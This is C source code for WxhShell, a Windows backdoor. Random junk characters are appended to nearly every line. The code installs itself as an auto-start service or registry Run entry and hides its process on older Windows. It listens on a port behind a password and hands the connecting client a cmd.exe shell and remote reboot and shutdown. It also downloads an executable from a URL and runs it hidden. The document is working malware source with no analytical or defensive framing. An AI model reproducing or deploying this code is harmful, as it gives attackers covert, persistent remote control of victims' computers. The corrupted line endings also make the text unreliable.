    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W'G|sk  
    if(Boot(SHUTDOWN)) j cd<'\;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j?T'N:Qd  
    else { 7UTfafOGX  
    closesocket(wsh); `IHP_IfR  
    ExitThread(0); )W\)37=.  
    } I| TNo-!$  
    break; $<*) 5|6  
    } ixTjXl2g  
  // 获取shell jCd]ENl+_  
  case 's': { ]3r}>/2(  
    CmdShell(wsh); Upz)iOqLi  
    closesocket(wsh); y4\X~5kU  
    ExitThread(0); iSfRJ:_&6  
    break; S!K<kn`E3  
  } 4:MvC^X~z  
  // 退出 Jb,54uN  
  case 'x': { .G/Rh92  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vG|!d+  
    CloseIt(wsh); z']6C9m}  
    break; xj5TnE9^  
    } aIgexi,  
  // 离开 =%_=!%  
  case 'q': { 0nc(2Bi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hB [bth  
    closesocket(wsh); vNi;)"&*  
    WSACleanup(); ^}  {r@F  
    exit(1); *F$@!ByV  
    break; TE`5i~R*  
        } Va!G4_OT  
  } ^[hAj>7_8$  
  } =OufafZb  
7cc^n\c?Y  
  // 提示信息 -jQ*r$iRE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hqRC:p#9  
} 0 kJ8H!~u  
  } Y e0,0Fpw  
lHiWzt u  
  return; ~[H8R|j "  
} h!tpi`8\z  
2EgvS!"  
// shell模块句柄 @@R Mm$  
int CmdShell(SOCKET sock) ]*dYX=6  
{ (bm^R-SbB  
STARTUPINFO si; MqJTRBs%  
ZeroMemory(&si,sizeof(si)); Zo UeLU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B*/!s7c.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DG&'x;K"$  
PROCESS_INFORMATION ProcessInfo; 8Qi)E 1n  
char cmdline[]="cmd";  }$oS /bo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LhG\)>Y%  
  return 0; {S0-y  
} av'DyNW\  
CU=sQfE  
// 自身启动模式 D5gj*/"  
int StartFromService(void) `%YMUBaI  
{ |s3;`Nxu7  
typedef struct m|NZ093d  
{ u|KjoO   
  DWORD ExitStatus; Na@bXcz)  
  DWORD PebBaseAddress; f y2vAwl  
  DWORD AffinityMask; c b-IRGF  
  DWORD BasePriority; y&(#C:N  
  ULONG UniqueProcessId; y;o - @]  
  ULONG InheritedFromUniqueProcessId; 2ZxhV4\  
}   PROCESS_BASIC_INFORMATION; 1zRYd`IPoq  
MKbcJZe  
PROCNTQSIP NtQueryInformationProcess; \.2i?<BC  
&JX<)JEB=<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X~IilGL8:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9L$OSy|  
tR51Pw  
  HANDLE             hProcess; GR|\OJ<2  
  PROCESS_BASIC_INFORMATION pbi; P!-RZEt$  
b5MBzFw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bo<P%$(D  
  if(NULL == hInst ) return 0; HMVP71  
*iB&tWv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eb7UA=[Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3cHYe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  hh4R  
a!R*O3  
  if (!NtQueryInformationProcess) return 0; L9jT :2F  
]9_gbQ   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eipg,EI  
  if(!hProcess) return 0; +-tFgXG  
pW+uVv,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]x)!Kd2>  
*I :c@iCNJ  
  CloseHandle(hProcess); pZ8J\4+  
-sJ1q^;f@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !aSj1 2J  
if(hProcess==NULL) return 0; Oj-\  
?Uq"zq  
HMODULE hMod; pPa]@ z~O  
char procName[255]; .B~}hjOZK  
unsigned long cbNeeded; B*_K}5UO  
gaN/ kp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uD/@d'd_4L  
'( I0VJJ   
  CloseHandle(hProcess); ZK;/~9KU  
4T3Z9KD!8  
if(strstr(procName,"services")) return 1; // 以服务启动 % PzkVs  
Z*M{  
  return 0; // 注册表启动 Jqb~RP~  
} ,>aa2  
D?#l8  
// 主模块 A6[FH\f  
int StartWxhshell(LPSTR lpCmdLine) 3IRur,|'  
{ c:7V..   
  SOCKET wsl; e6MBy\*n  
BOOL val=TRUE; 6):1U  
  int port=0; N!ihj:,  
  struct sockaddr_in door; LEM%B??&5z  
a4UwhbH  
  if(wscfg.ws_autoins) Install(); ='jT 5Mg  
j^=Eu r/  
port=atoi(lpCmdLine); NWh1u`  
frUs'j/bZ  
if(port<=0) port=wscfg.ws_port; c\n_[r  
# bHkI~  
  WSADATA data; !p$p 7   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _<RTes  
PR5N:Bw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |Uics:cQC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {C&U q#V  
  door.sin_family = AF_INET; 1UK= t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "dP-e  
  door.sin_port = htons(port); ,c:NdY(,)  
EMP|I^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )Xqjl  
closesocket(wsl);  g*a+$'  
return 1; PP{ 9Y Vr  
} P@PF" {S  
^'[QCwY~  
  if(listen(wsl,2) == INVALID_SOCKET) { ^vMlRt;  
closesocket(wsl); i{m!v6j:  
return 1; Tr_gc~  
} $F^VtCx2&  
  Wxhshell(wsl); F%<*a,m6g  
  WSACleanup(); M~\dvJ$cH  
ATqblU>D  
return 0; y5F+~z }{  
7SS#V  
} A:ts_*  
=s!0EwDH3  
// 以NT服务方式启动 Mv%Qze,\V^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zc8^#D2y&  
{ <=p>0L  
DWORD   status = 0; L9O;K$[s  
  DWORD   specificError = 0xfffffff; F(n<:TvlK  
;U>nj],uv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IQU1 JVk Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7)QZ<fme  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Xuu&`U~%  
  serviceStatus.dwWin32ExitCode     = 0; . .5~ x~O  
  serviceStatus.dwServiceSpecificExitCode = 0; Hk;;+'-  
  serviceStatus.dwCheckPoint       = 0; W6T4Zsg  
  serviceStatus.dwWaitHint       = 0; [3bPoAr\  
C]2-V1,ZX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V<#KFm$>C  
  if (hServiceStatusHandle==0) return; Hmr f\(x  
t3<8n;'y:  
status = GetLastError(); o)XrC   
  if (status!=NO_ERROR) !.,J;Qt  
{ O6NH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K-:y  
    serviceStatus.dwCheckPoint       = 0; +# 'w} P  
    serviceStatus.dwWaitHint       = 0; [L2+k? *  
    serviceStatus.dwWin32ExitCode     = status; w[d8#U   
    serviceStatus.dwServiceSpecificExitCode = specificError; wr"0+J7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c45 s #6  
    return; r<fcZ)jt|  
  } P}~MO)*1  
m6[}KkW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,V,mz?d^9  
  serviceStatus.dwCheckPoint       = 0; ya1 aWs~  
  serviceStatus.dwWaitHint       = 0; (9RfsV4^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7:olStK  
} ,93Uji[l  
LUD .  
// 处理NT服务事件,比如:启动、停止 Fn .J tIu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;+XrCy!.)L  
{ J@:Q(  
switch(fdwControl) B?i#m^S  
{ 'y; Kj  
case SERVICE_CONTROL_STOP: _?H3*!>3  
  serviceStatus.dwWin32ExitCode = 0; 2, )>F"R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %\ i&g$  
  serviceStatus.dwCheckPoint   = 0; :.ZWYze  
  serviceStatus.dwWaitHint     = 0; h"+7cc@  
  { *Z"`g %,;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &PE%tm  
  } Lq5xp<  
  return; 60^j<O  
case SERVICE_CONTROL_PAUSE: >\[]z^J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OiQf=Uz\  
  break; : wS&3:h  
case SERVICE_CONTROL_CONTINUE: D%]S>g5k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'Z~ZSu  
  break; U4=l`{5on  
case SERVICE_CONTROL_INTERROGATE: f2x!cL|Kx?  
  break; '27$x&6>S  
}; xx!8cvD4?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SPE)db3  
} ^%,{R},s  
YA$YT8iMe  
// 标准应用程序主函数 ,5v'hG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =xm7i#1  
{ IWu=z!mO  
q  
// 获取操作系统版本 '(@q"`n  
OsIsNt=GetOsVer(); ZwBz\jmbP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IMwV9rF  
~BuzI9~7P  
  // 从命令行安装 #4mRMsW5"  
  if(strpbrk(lpCmdLine,"iI")) Install(); nRc\!4  
n5kGHL2   
  // 下载执行文件 \ji\r]k  
if(wscfg.ws_downexe) { *|Vf1R]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :ZY%-]u7  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3eE=>E4,  
} DWOf\[  
;Va(l$zD  
if(!OsIsNt) { BS fmS(.  
// 如果时win9x,隐藏进程并且设置为注册表启动 rQ{|0+l  
HideProc(); zA9q`ePS  
StartWxhshell(lpCmdLine); : |s;2Y  
} C33Jzn's  
else GP c B(  
  if(StartFromService())  Kg';[G\  
  // 以服务方式启动 l%2VA  
  StartServiceCtrlDispatcher(DispatchTable); Kj4BVs  
else 7FoX)54"  
  // 普通方式启动 Y:;_R=M  
  StartWxhshell(lpCmdLine); )). =MTk  
;/$pxD  
return 0; |1!fuB A  
} tV(iC~/  
-:%QoRC y  
C/Q20  
yS~Y"#F!.  
=========================================== UUDUd a  
+@?Q"B5u}  
>`UqS`YQK  
dP_Q kO  
>hNSEWMY`  
CWkWW/ZI  
" "}Om0rB}1  
tcj "rV{G  
#include <stdio.h> =h4u N,  
#include <string.h> IW!x!~e  
#include <windows.h> "<0!S~]  
#include <winsock2.h> +h"i6`g  
#include <winsvc.h> "qq$i35x  
#include <urlmon.h> !6-t_S  
&D M3/^70  
#pragma comment (lib, "Ws2_32.lib") +:@^nPfHy  
#pragma comment (lib, "urlmon.lib") P?V+<c{  
=F_uK7W  
#define MAX_USER   100 // 最大客户端连接数 s?}qia\~m  
#define BUF_SOCK   200 // sock buffer -lJ|x>PG'  
#define KEY_BUFF   255 // 输入 buffer &mN]U<N  
;>Z+b#C[  
#define REBOOT     0   // 重启 y_Lnk=Q ^  
#define SHUTDOWN   1   // 关机 n )X%&_  
P 2_!(FZ<l  
#define DEF_PORT   5000 // 监听端口 C&Q[[k"kb  
lVT*Ev{&.  
#define REG_LEN     16   // 注册表键长度 4ct-K)Ris  
#define SVC_LEN     80   // NT服务名长度 !QwB8yK@  
<lFHmi$qt{  
// 从dll定义API esTL3 l{[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t#P7'9Se8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?<t?G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dYISjk@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  it H  
@I4HpY7:  
// wxhshell配置信息 9e`};DE   
struct WSCFG { ,]0BmlD  
  int ws_port;         // 监听端口 <fHHrmZ#/.  
  char ws_passstr[REG_LEN]; // 口令 T%%EWa<a  
  int ws_autoins;       // 安装标记, 1=yes 0=no Jf2JGTcm  
  char ws_regname[REG_LEN]; // 注册表键名 D,.`mX  
  char ws_svcname[REG_LEN]; // 服务名 #WG}"[ ,c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >oq\`E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h<?Px"& J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k:?)0Uh%^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QaO9-:]eN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S Yi!%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X$;x2mz nM  
]Y]]X[@  
}; (enr{1  
bMc[0  
// default Wxhshell configuration Z#u{th  
struct WSCFG wscfg={DEF_PORT, _"p(/H  
    "xuhuanlingzhe", q(~jP0pj%  
    1, /F.<Gz;w  
    "Wxhshell", &,{ >b[  
    "Wxhshell", l\L71|3"g  
            "WxhShell Service", [O\ )R[J  
    "Wrsky Windows CmdShell Service", tLKf]5}f  
    "Please Input Your Password: ", 2gK]w$H7!  
  1,  Me z&@{  
  "http://www.wrsky.com/wxhshell.exe", UBW,Q+Q  
  "Wxhshell.exe" C1f$^N  
    }; W[I[Xg&  
Q3i\`-kbb  
// 消息定义模块 R(0[bMr3Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *P\lzM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zq33R`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a:*N0  
char *msg_ws_ext="\n\rExit."; yH:p*|%:  
char *msg_ws_end="\n\rQuit."; TqN@l\  
char *msg_ws_boot="\n\rReboot..."; v @M6D}  
char *msg_ws_poff="\n\rShutdown..."; }~LGq.H  
char *msg_ws_down="\n\rSave to "; On O_7'4 t  
>.UEs 8QV  
char *msg_ws_err="\n\rErr!"; DW,ERQ^  
char *msg_ws_ok="\n\rOK!"; =k d-rIBc  
pFd{Tdh  
char ExeFile[MAX_PATH]; 91R7Rrne  
int nUser = 0; vxf09v{-  
HANDLE handles[MAX_USER]; ABoB=0.l  
int OsIsNt; c[,Rh f  
O D5qPovsd  
SERVICE_STATUS       serviceStatus; zK~_e\m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !lg_zAV  
e%:vLE 9  
// 函数声明 |^Yz*r?BJ  
int Install(void); D@X"1X!F`G  
int Uninstall(void); ;C=d( pY  
int DownloadFile(char *sURL, SOCKET wsh); -}xK> ["  
int Boot(int flag); mW)kWuOO  
void HideProc(void); 3BK 8{/  
int GetOsVer(void); x2fqfrr_]  
int Wxhshell(SOCKET wsl); "PTEt{qn  
void TalkWithClient(void *cs); 1Bs  t|  
int CmdShell(SOCKET sock); j/oc+ M^  
int StartFromService(void); _T.`+0UV  
int StartWxhshell(LPSTR lpCmdLine); aW_Y  
V&j]*)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VXk[p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lrkgsv6  
LsGO~EiJ  
// 数据结构和表定义 3`D*AFQc  
SERVICE_TABLE_ENTRY DispatchTable[] = `;G@qp:A  
{ Jon3ywd1Y  
{wscfg.ws_svcname, NTServiceMain}, EpACd8Fb  
{NULL, NULL} $[HCetaqV  
}; yo_zc<  
J s33S)  
// 自我安装 i0\]^F  
int Install(void) rvhMu}.  
{ ZX-A}  
  char svExeFile[MAX_PATH]; {7X9P<<L7  
  HKEY key; jEx8G3EL  
  strcpy(svExeFile,ExeFile); 'p!&&.%  
4+>~Ui_#  
// 如果是win9x系统,修改注册表设为自启动 pIrL7Pb0  
if(!OsIsNt) { Q+a&a]*KL^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  \v:Z;EbX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k=d _{2 ~  
  RegCloseKey(key); sw1gpkX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &)q>Z!C-l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^Hf?["m^@  
  RegCloseKey(key); D?xR>Oo)  
  return 0; ?Nt m5(R  
    } Su@V5yz  
  } 3&[d.,/  
} _W Hi<,-  
else { +Y+fM  
0%rE*h9+  
// 如果是NT以上系统,安装为系统服务 wmbG$T%k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `|nJAW3  
if (schSCManager!=0) v8\_6}*I  
{ E2o8'.~Yd`  
  SC_HANDLE schService = CreateService " 5Pqvi  
  ( dJQwb  
  schSCManager, vfDX~_N  
  wscfg.ws_svcname, Iza#v0  
  wscfg.ws_svcdisp, ,Cm1~ExJ  
  SERVICE_ALL_ACCESS, ;)f,A)(Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , asvM/ 9  
  SERVICE_AUTO_START, 3# 0Nd"/0  
  SERVICE_ERROR_NORMAL, P _Gu~B!Y  
  svExeFile, /&=y_%VR  
  NULL, {O=_c|u{N  
  NULL, Y^#>3T  
  NULL, >;M STHeW  
  NULL, [ x.]  
  NULL q2Sc{E>[  
  ); A] 'XC"lS  
  if (schService!=0) .db:mSrL  
  { 2S@Cj{R(  
  CloseServiceHandle(schService); nYC S %\"  
  CloseServiceHandle(schSCManager); ?: vB_@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r<dvo%I#|  
  strcat(svExeFile,wscfg.ws_svcname); ~}D"8[ABj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )ARV>(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FgP{  
  RegCloseKey(key); +*qTZIXj  
  return 0; Y,4?>:39J  
    } K.?S,qg  
  } %gqu7}'  
  CloseServiceHandle(schSCManager); Ql}#mC.>/  
} 5@bmm]  
} ;;^?vS  
-q-BP}r3  
return 1; C?g*c  
} \@NnL\ t u  
G&N),wsNZK  
// 自我卸载 zLS?: yq  
int Uninstall(void) apxq] ! `  
{ 5NK yF  
  HKEY key; }&Xf<6  
IQ~EL';<w  
if(!OsIsNt) { Hb$wawy<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J rYL8 1  
  RegDeleteValue(key,wscfg.ws_regname); ?|<p^:  
  RegCloseKey(key); u]3VK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i#U_g:~wC  
  RegDeleteValue(key,wscfg.ws_regname); 9M[   
  RegCloseKey(key); DQN"85AIZ  
  return 0; w*Ze5j4@ \  
  } eg"!.ol  
} !*k'3r KOW  
} `LTD|0;  
else { 2F,?}jJ.K  
unN*L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kkT=g^D9j  
if (schSCManager!=0) |JUAR{  
{ $L]E< gWrP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1[Jv9S*f/  
  if (schService!=0) _>{"vY  
  { hZO=$Mm4p  
  if(DeleteService(schService)!=0) { }f] ~{^  
  CloseServiceHandle(schService); mL s>RR#b  
  CloseServiceHandle(schSCManager); V\%s)kq  
  return 0; \xk8+=/A  
  } 3=lQZi<]%  
  CloseServiceHandle(schService); cn$0^7?  
  } p!LaR.8]  
  CloseServiceHandle(schSCManager); u&Xn#f h  
} ^12}#I  
} LtDGu})1  
rY=dNK]d  
return 1; \z-OJ1[F  
} R|7_iMIZ  
]<o^Q[OL  
// 从指定url下载文件 d+7Dy3i|g=  
int DownloadFile(char *sURL, SOCKET wsh) PrEfJ?  
{ sGbk4g  
  HRESULT hr; _7-P8"m  
char seps[]= "/"; H#I%6k*\a  
char *token; `hl1R3nBM  
char *file; Wl>$<D4mO[  
char myURL[MAX_PATH]; 9>L{K   
char myFILE[MAX_PATH]; KSl@V>!_  
vau#?U".}>  
strcpy(myURL,sURL); 4g/Ly8  
  token=strtok(myURL,seps); lJ4&kF=t  
  while(token!=NULL) B}ASZYpW>  
  { rgrsNr:1  
    file=token; 9D& 22hL4  
  token=strtok(NULL,seps); {F$MZ2E  
  } Gc:oS vm  
&G!2T!xx  
GetCurrentDirectory(MAX_PATH,myFILE); ].*I Z  
strcat(myFILE, "\\"); 9Or  
strcat(myFILE, file); l:"zYcp%  
  send(wsh,myFILE,strlen(myFILE),0); 5sF?0P;ln  
send(wsh,"...",3,0); jE, oEt O;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  .Aa(  
  if(hr==S_OK) _dw6 C2]P  
return 0; EAnw:yUV(  
else n@| &jh  
return 1; D5fhOq+g  
i<uk}  
} P*8DM3':  
)@.6u9\  
// 系统电源模块 UYOR@x #  
int Boot(int flag) lJXihr  
{ R`emI7|  
  HANDLE hToken; DWar3+u&0  
  TOKEN_PRIVILEGES tkp; 0%hOB :  
!PY.F nZ  
  if(OsIsNt) { vWpkU<&3|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A/U,|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z^vcODeC$  
    tkp.PrivilegeCount = 1; iN@+,]Yjl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j[YO1q*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P<gr=&  
if(flag==REBOOT) { %N-f9o8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Mhj.3nN  
  return 0; km#Rh^  
} oSqkAAGz\  
else { 79Si^n1\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K9N\E"6ZP  
  return 0; XnI)s^  
} 095Z Z20  
  } >c 5V VA8  
  else { IgU65p  
if(flag==REBOOT) { ){{]3r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :f58JLX  
  return 0; M%Dv-D{  
} qHQ#^jH  
else { = ^A/&[&31  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z>./lu\  
  return 0; +oMe\wYR$r  
} FYu=e?L  
} ZAcW@xfb  
By-A1|4Cp`  
return 1; !9JK95;  
} nd1%txIsr  
ZSg["`  
// win9x进程隐藏模块 `(7HFq<N  
void HideProc(void) X$4 5<oz  
{ |LNAd:0  
j?rq%rQd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~%o?J"y  
  if ( hKernel != NULL ) jI9Kn41  
  { B^u qu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ss~dK-{e7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?sBbe@OC?  
    FreeLibrary(hKernel); #4<Rs|K  
  } *w;=o}`  
a\m@I_r.N  
return; 27!9LU  
} #=B~} _  
&7\q1X&Rr  
// 获取操作系统版本 >B9|;,a  
int GetOsVer(void) w\z6-qa  
{ ^Q$U.sN? R  
  OSVERSIONINFO winfo; MHVHEwr.{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e+5]l>3)f  
  GetVersionEx(&winfo); : {Crc   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J3B]JttU  
  return 1; T m0m$l  
  else BejeFV3  
  return 0; 7Ed6o  
} * -Kf  
{|~22UkF[V  
// 客户端句柄模块 Tv{X$`%  
int Wxhshell(SOCKET wsl) 4d*=gy%  
{ H/Fq'FsQB  
  SOCKET wsh; !@x'?+   
  struct sockaddr_in client; #D-L>7,jA  
  DWORD myID; qs]7S^yw  
$`&uu  
  while(nUser<MAX_USER) }.UE<>OX  
{ iX{Lc+u3  
  int nSize=sizeof(client); _DK%-,Spu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W6m oFn  
  if(wsh==INVALID_SOCKET) return 1; <"" fJ`7  
D<2|&xaR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .l->O-=  
if(handles[nUser]==0) L[Dr[  
  closesocket(wsh); FM3DJ?\L-  
else J c~{ E  
  nUser++; W1 qE,%cx  
  } ^&W(|R-,J&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  {u}Lhv  
K 9X0/  
  return 0; V@xlm h,  
} Nuw_,-h  
Y4 Y;xK"  
// 关闭 socket :u7y k@  
void CloseIt(SOCKET wsh) uZ-yu|1  
{ 6-@ X  
closesocket(wsh); Y!6,ty'  
nUser--; ]~SOGAFW  
ExitThread(0); }!-K)j.  
} C>vp oCA  
9*+%Qt,{B  
// 客户端请求句柄 XD 8MF)$9  
void TalkWithClient(void *cs) tp,e:4\ 8Q  
{ Cku&s  
E r6'Ig|U  
  SOCKET wsh=(SOCKET)cs; hYS*J908  
  char pwd[SVC_LEN]; oD]riA>jC  
  char cmd[KEY_BUFF]; ]KS|r+  
char chr[1]; i$Q$y hT{  
int i,j; 2U-F}Z  
Ed%8| M3  
  while (nUser < MAX_USER) { J0e~s  
RfMrGC^?  
if(wscfg.ws_passstr) { (P-Bmu!s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {:VUu?5-t;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); szY=N7\S*  
  //ZeroMemory(pwd,KEY_BUFF); :h>d'+\  
      i=0; +K3SAGm  
  while(i<SVC_LEN) { /=zzym~<>  
S?bG U8R5  
  // 设置超时 Zjz< Q-  
  fd_set FdRead; do2~LmeW  
  struct timeval TimeOut;  6[<*C?  
  FD_ZERO(&FdRead); l%?D%'afN  
  FD_SET(wsh,&FdRead); U`D.cEMfH  
  TimeOut.tv_sec=8; \@6nRs8b|N  
  TimeOut.tv_usec=0; (Z YGfX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H}OOkzwrA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5Mfs)a4j.  
cC_L4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D2`tWRm0  
  pwd=chr[0]; ic}M)S FD;  
  if(chr[0]==0xd || chr[0]==0xa) { K0#kW \4`  
  pwd=0; a sDq(J`sQ  
  break; 'Jb6CR n  
  } MX%D %} N  
  i++; %=:*yf>}  
    } / -ebx~FX&  
eGZX 6Q7m  
  // 如果是非法用户,关闭 socket FF"6~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); . mDh9V5  
} _R!KHi  
x<'(b7{U0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k\T,CZ<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }*{@-v|_R  
'sCj\N  
while(1) { >g%^hjJ  
u.wm;eK[  
  ZeroMemory(cmd,KEY_BUFF); GbC-6.~  
&j\<UPn  
      // 自动支持客户端 telnet标准   =#@eDm%  
  j=0; #Y3:~dmJ-  
  while(j<KEY_BUFF) { E\V-< ]o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gWo`i  
  cmd[j]=chr[0]; x~Eg ax  
  if(chr[0]==0xa || chr[0]==0xd) { m@hmu}qz-  
  cmd[j]=0; WKf->W  
  break; K|-?1)Um  
  } pSQ)DqW  
  j++; y9?~^pTx  
    } uaMf3HeYV  
B5>1T[T'-  
  // 下载文件 qRg^Bp'VD#  
  if(strstr(cmd,"http://")) { <_HK@E<_HO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gO*:< B g  
  if(DownloadFile(cmd,wsh)) v$R+5_@[l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FhZ^/= As  
  else xkIRI1*!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )$#]h]ac  
  } M{U{iS  
